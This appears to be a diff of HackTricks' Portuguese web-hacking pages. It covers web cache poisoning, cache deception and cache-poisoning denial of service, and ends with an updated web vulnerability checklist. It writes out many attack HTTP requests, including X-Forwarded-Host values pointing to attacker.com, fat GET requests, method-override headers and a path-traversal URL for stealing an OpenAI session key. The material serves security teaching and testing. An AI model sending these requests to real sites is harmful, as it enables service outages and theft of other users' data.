Observe que se o cookie vulnerável for muito utilizado pelos usuários, as solicitações regulares limparão o cache.
### Envenenamento de cache com travessia de caminho para roubar chave de API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Este relatório explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave de API da OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem o Cloudflare normalizar a URL, o que foi feito quando a solicitação chegou ao servidor web.
### Usando vários cabeçalhos para explorar vulnerabilidades de envenenamento de cache na web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Às vezes, você precisará **explorar várias entradas sem chave** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **redirecionando** todas as **solicitações HTTP** para HTTPS e usando o cabeçalho `X-Forwarded-Scheme` como o nome de domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Explorando com o cabeçalho `Vary` limitado
Se você descobrir que o cabeçalho **`X-Host`** está sendo usado como **nome de domínio para carregar um recurso JS** mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**. Então, você precisa encontrar uma maneira de exfiltrar o User-Agent da vítima e envenenar o cache usando esse user agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
Envie um pedido GET com o pedido na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar o da URL, qualquer pessoa que acessar essa URL na verdade usará o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
```
### Ocultação de Parâmetros
Por exemplo, é possível separar **parâmetros** em servidores ruby usando o caractere **`;`** em vez de **`&`**. Isso poderia ser usado para colocar valores de parâmetros não-chave dentro de parâmetros chave e abusá-los.
Laboratório Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Explorando a Poisoning de Cache HTTP abusando do HTTP Request Smuggling
Aprenda aqui sobre como realizar [ataques de Poisoning de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Teste automatizado para Poisoning de Cache Web
O [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente a poisoning de cache web. Ele suporta muitas técnicas diferentes e é altamente personalizável.
Exemplo de uso: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas da comunidade mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Exemplos Vulneráveis
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cache apenas usando o host, caminho e consulta (ignorando o fragmento). Assim, a solicitação `/#/../?r=javascript:alert(1)` foi enviada ao backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha o payload dentro dela, apenas host, caminho e consulta.
### GitHub CP-DoS
O envio de um valor incorreto no cabeçalho content-type acionou uma resposta em cache 405. A chave de cache continha o cookie, então era possível atacar apenas usuários não autenticados.
### GitLab + GCP CP-DoS
O GitLab usa buckets GCP para armazenar conteúdo estático. Os **buckets GCP** suportam o cabeçalho `x-http-method-override`. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
### Rack Middleware (Ruby on Rails)
Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O objetivo do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma Negação de Serviço (DoS) para esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança.
### 403 e Buckets de Armazenamento
O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de Autorização incorretos resultaria em uma resposta 403 que era armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento ainda pode estar presente em outros serviços de proxy.
### Inserindo Parâmetros Chaveados
Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenava o parâmetro `size` em solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. Codificar em URL o segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request cacheável.
### Regras de User Agent
Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem a ferramentas de alto tráfego como FFUF ou Nuclei para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades como poisoning de cache e DoS.
### Campos de Cabeçalho Ilegais
O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes de cabeçalho. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado idealmente deveriam acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre seguem esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Foi identificado um padrão explorável onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request cacheável.
### Encontrando novos cabeçalhos
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Decepção de Cache
O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações confidenciais**.
Em primeiro lugar, observe que **extensões** como `.css`, `.js`, `.png` etc geralmente são **configuradas** para serem **salvas** no **cache**. Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a extensão `.js`. No entanto, se a **aplicação** estiver **reproduzindo** com o **conteúdo sensível** do usuário armazenado em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
Outras coisas para testar:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Use extensões menos conhecidas como_ `.avif`
Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache vai salvar o resultado.\
Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.
Observe que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **com base** na **extensão** do arquivo (_.css_) e não com base no tipo de conteúdo. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um tipo de conteúdo `text/html` em vez de um tipo mime `text/css` (o que é esperado para um arquivo _.css_).
Aprenda aqui sobre como realizar [ataques de Decepção de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Ferramentas Automáticas
* [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar múltiplas técnicas de injeção.
## Referências
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,150 @@
# Envenenamento de Cache para DoS
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% hint style="danger" %}
Nesta página, você pode encontrar diferentes variações para tentar fazer o **servidor web responder com erros** a solicitações que são **válidas para os servidores de cache**
{% endhint %}
* **Tamanho Excessivo de Cabeçalho HTTP (HHO)**
Envie uma solicitação com um tamanho de cabeçalho maior do que o suportado pelo servidor web, mas menor do que o suportado pelo servidor de cache. O servidor web responderá com um código de resposta 400 que pode ser armazenado em cache:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
* **Caractere Meta HTTP (HMC) e valores inesperados**
Envie um cabeçalho que contenha alguns **caracteres meta prejudiciais** como `\n` e `\r`. Para que o ataque funcione, você deve primeiro burlar o cache.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
Um cabeçalho mal configurado poderia ser apenas `\:` como um cabeçalho.
Isso também poderia funcionar se valores inesperados forem enviados, como um Content-Type inesperado:
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
* **Cabeçalho sem chave**
Alguns sites retornarão um código de status de erro se **virem alguns cabeçalhos específicos** na solicitação, como o cabeçalho _X-Amz-Website-Location-Redirect: someThing_:
```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
```
* **Ataque de Substituição de Método HTTP (HMO)**
Se o servidor suporta a alteração do método HTTP com cabeçalhos como `X-HTTP-Method-Override`, `X-HTTP-Method` ou `X-Method-Override`. É possível solicitar uma página válida alterando o método para um que o servidor não suporta, fazendo com que uma resposta ruim seja armazenada em cache:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
* **Porta não chaveada**
Se a porta no cabeçalho do Host for refletida na resposta e não estiver incluída na chave de cache, é possível redirecioná-la para uma porta não utilizada:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
* **Long Redirect DoS**
Assim como no exemplo a seguir, x não está sendo armazenado em cache, então um atacante poderia abusar do comportamento de resposta de redirecionamento para fazer com que o redirecionamento envie uma URL tão grande que retorne um erro. Em seguida, as pessoas que tentarem acessar a URL sem a chave x não armazenada em cache receberão a resposta de erro:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
* **Normalização de maiúsculas e minúsculas no cabeçalho do host**
O cabeçalho do host deve ser insensível a maiúsculas e minúsculas, mas alguns sites esperam que ele esteja em minúsculas, retornando um erro se não estiver:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
```
* **Normalização de caminho**
Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache fará o URLdecode do caminho e armazenará a resposta para o caminho URLdecoded:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
```
* **Fat Get**
Alguns servidores de cache, como o Cloudflare, ou servidores web, param solicitações GET com um corpo, então isso poderia ser abusado para armazenar em cache uma resposta inválida:
```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
```
## Referências
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -1,16 +1,16 @@
# Web Vulnerabilities Methodology
# Metodologia de Vulnerabilidades Web
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -23,9 +23,9 @@ Atualmente, **aplicações web** geralmente **usam** algum tipo de **proxies int
{% endhint %}
* [ ] [**Abusando de cabeçalhos hop-by-hop**](abusing-hop-by-hop-headers.md)
* [ ] [**Envenenamento de Cache/Decepção de Cache**](cache-deception.md)
* [ ] [**Contrabando de Requisição HTTP**](http-request-smuggling/)
* [ ] [**Contrabando H2C**](h2c-smuggling.md)
* [ ] [**Envenenamento de Cache/Engano de Cache**](cache-deception/)
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
* [ ] [**Inclusão do Lado do Servidor/Inclusão do Lado da Borda**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Descobrindo o Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**Injeção de Lado do Servidor XSLT**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
@ -34,13 +34,13 @@ Atualmente, **aplicações web** geralmente **usam** algum tipo de **proxies int
## **Entrada do Usuário**
{% hint style="info" %}
A maioria das aplicações web permitirá que os usuários **insiram alguns dados que serão processados posteriormente**.\
A maioria das aplicações web permitirá que os usuários insiram alguns dados que serão processados posteriormente.\
Dependendo da estrutura dos dados que o servidor espera, algumas vulnerabilidades podem ou não se aplicar.
{% endhint %}
### **Valores Refletidos**
Se os dados introduzidos de alguma forma podem ser refletidos na resposta, a página pode ser vulnerável a vários problemas.
Se os dados introduzidos de alguma forma puderem ser refletidos na resposta, a página pode estar vulnerável a vários problemas.
* [ ] [**Injeção de Template do Lado do Cliente**](client-side-template-injection-csti.md)
* [ ] [**Injeção de Comando**](command-injection.md)
@ -50,7 +50,7 @@ Se os dados introduzidos de alguma forma podem ser refletidos na resposta, a pá
* [ ] [**Redirecionamento Aberto**](open-redirect.md)
* [ ] [**Poluição de Protótipo para XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Inclusão do Lado do Servidor/Inclusão do Lado da Borda**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Falsificação de Requisição do Lado do Servidor**](ssrf-server-side-request-forgery/)
* [ ] [**Falsificação de Solicitação do Lado do Servidor**](ssrf-server-side-request-forgery/)
* [ ] [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/)
* [ ] [**Roubo de Guia Reverso**](reverse-tab-nabbing.md)
* [ ] [**Injeção de Lado do Servidor XSLT**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
@ -66,7 +66,7 @@ Algumas das vulnerabilidades mencionadas requerem condições especiais, outras
### **Funcionalidades de Busca**
Se a funcionalidade pode ser usada para pesquisar algum tipo de dados no backend, talvez você possa (abusar) para pesquisar dados arbitrários.
Se a funcionalidade puder ser usada para pesquisar algum tipo de dados no backend, talvez você possa (abusar) para pesquisar dados arbitrários.
* [ ] [**Inclusão de Arquivo/Travessia de Caminho**](file-inclusion/)
* [ ] [**Injeção NoSQL**](nosql-injection.md)
@ -80,7 +80,7 @@ Se a funcionalidade pode ser usada para pesquisar algum tipo de dados no backend
Quando um websocket envia uma mensagem ou um formulário permite que os usuários realizem ações, vulnerabilidades podem surgir.
* [ ] [**Falsificação de Solicitação entre Sites**](csrf-cross-site-request-forgery.md)
* [ ] [**Roubo de WebSocket entre Sites (CSWSH)**](websocket-attacks.md)
* [ ] [**Sequestro de WebSocket entre Sites (CSWSH)**](websocket-attacks.md)
* [ ] [**Vulnerabilidades de PostMessage**](postmessage-vulnerabilities/)
### **Cabeçalhos HTTP**
@ -90,7 +90,7 @@ Dependendo dos cabeçalhos HTTP fornecidos pelo servidor web, algumas vulnerabil
* [ ] [**Clickjacking**](clickjacking.md)
* [ ] [**Burla de Política de Segurança de Conteúdo**](content-security-policy-csp-bypass/)
* [ ] [**Hacking com Cookies**](hacking-with-cookies/)
* [ ] [**CORS - Configurações Incorretas e Burla**](cors-bypass.md)
* [ ] [**CORS - Misconfigurações e Burlas**](cors-bypass.md)
### **Burlas**
@ -113,18 +113,17 @@ Algumas **funcionalidades específicas** também podem ser vulneráveis se um **
* [ ] [**Deserialização**](deserialization/)
* [ ] [**Injeção de Cabeçalho de Email**](email-injections.md)
* [ ] [**Vulnerabilidades JWT**](hacking-jwt-json-web-tokens.md)
* [ ] [**Entidade Externa XML**](xxe-xee-xml-external-entity.md)
* [ ] [**Entidade XML Externa**](xxe-xee-xml-external-entity.md)
### Arquivos
Funcionalidades que permitem o upload de arquivos podem ser vulneráveis a várias questões.\
Funcionalidades que permitem o upload de arquivos podem ser vulneráveis a vários problemas.\
Funcionalidades que geram arquivos incluindo entrada do usuário podem executar código inesperado.\
Usuários que abrem arquivos enviados por usuários ou gerados automaticamente incluindo entrada do usuário podem ser comprometidos.
* [ ] [**Upload de Arquivo**](file-upload/)
* [ ] [**Injeção de Fórmula**](formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**Injeção de PDF**](xss-cross-site-scripting/pdf-injection.md)
* [ ] [**XSS do Lado do Servidor**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [ ] [**XSS no Lado do Servidor**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Gerenciamento de Identidade Externa**
@ -146,10 +145,10 @@ Essas vulnerabilidades podem ajudar a explorar outras vulnerabilidades.
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>